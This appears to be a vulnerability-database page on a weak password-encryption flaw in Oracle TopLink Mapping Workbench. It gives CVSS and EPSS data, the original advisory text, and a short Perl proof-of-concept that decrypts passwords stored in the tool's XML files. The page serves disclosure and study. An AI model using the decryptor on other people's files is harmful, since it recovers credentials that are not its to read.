CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Oracle toplink mapping workBench uses a weak encryption algorithm for passwords, which allows local users to decrypt the passwords.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.6
AV:L/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.73%
–
–
2022-02-13
–
–
1.73%
–
–
2022-04-03
–
–
1.73%
–
–
2022-06-19
–
–
1.73%
–
–
2022-10-30
–
–
1.73%
–
–
2022-11-20
–
–
1.73%
–
–
2022-11-27
–
–
1.73%
–
–
2023-01-01
–
–
1.73%
–
–
2023-01-15
–
–
1.73%
–
–
2023-03-12
–
–
–
0.04%
–
2023-09-17
–
–
–
0.04%
–
2023-12-03
–
–
–
0.04%
–
2024-03-17
–
–
–
0.04%
–
2024-04-21
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-07-07
–
–
–
0.04%
–
2024-08-04
–
–
–
0.04%
–
2024-08-11
–
–
–
0.04%
–
2024-11-17
–
–
–
0.04%
–
2024-12-22
–
–
–
7.44%
–
2025-01-19
–
–
–
7.44%
–
2025-03-18
–
–
–
–
5.06%
2025-03-30
–
–
–
–
3.82%
2025-03-30
–
–
–
–
3.82,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2004-01-27 23h00 +00:00 Author : Pete Finnigan EDB Verified : Yes
source: https://www.securityfocus.com/bid/9515/info
OracleAS TopLink Mapping Workbench is a tool included with OracleAS TopLink, a Java-based database integration development framework that is included as a component of various Oracle Application Server releases.
OracleAS TopLink Mapping Workbench is reported to use a weak encryption algorithm when storing passwords in XML files. A proof-of-concept has been released that demonstrates how passwords are encrypted, by reversing the process described in the proof-of-concept, an attacker with access to XML files generated by the software could decrypt embedded passwords. The encryption scheme uses a simplistic substitution cipher and then appends a static string to the end of the encrypted password.
The discoverer of this issue has not specified which Oracle Application Server releases are affected, though later releases such as 10g include support for the Java Cryptography Extension as well as user-specified custom encryption algorithms. Later releases are also backwards compatible with older encryption schemes, so could still be affected. This BID will be updated if further information is made available about affected releases.
#!/usr/bin/perl
#Decrypt Oracle Toplink Mapping WorkBench passwords.
#Author: Martin
$string = "A7FCAA504BA7E4FC";
sub usage {
print " Usage: $0 <password to decrypt>\n";
}
if ($#ARGV != 0) {
usage();
}
else {
$encrypted = $ARGV[0];
$encrypted =~ s/$string/ /;
$chars = length($encrypted);
$enc2 = substr($encrypted,0,2);
$encrypted = substr($encrypted,2,length($encrypted));
$i = 0;
while (($chars / 2) >= $i + 1) {
print $i;
$int = hex($enc2);
if (($i%2) == 1) { $result .= chr($int - ( ($i + 1 )/3 ) - 112); }
else { $result .= chr($int - 4 + $i); }
$enc2 = substr($encrypted,0,length($encrypted) - 1);
$encrypted = substr($encrypted,2,length($encrypted));
$i++;
}
print "$result\n";
}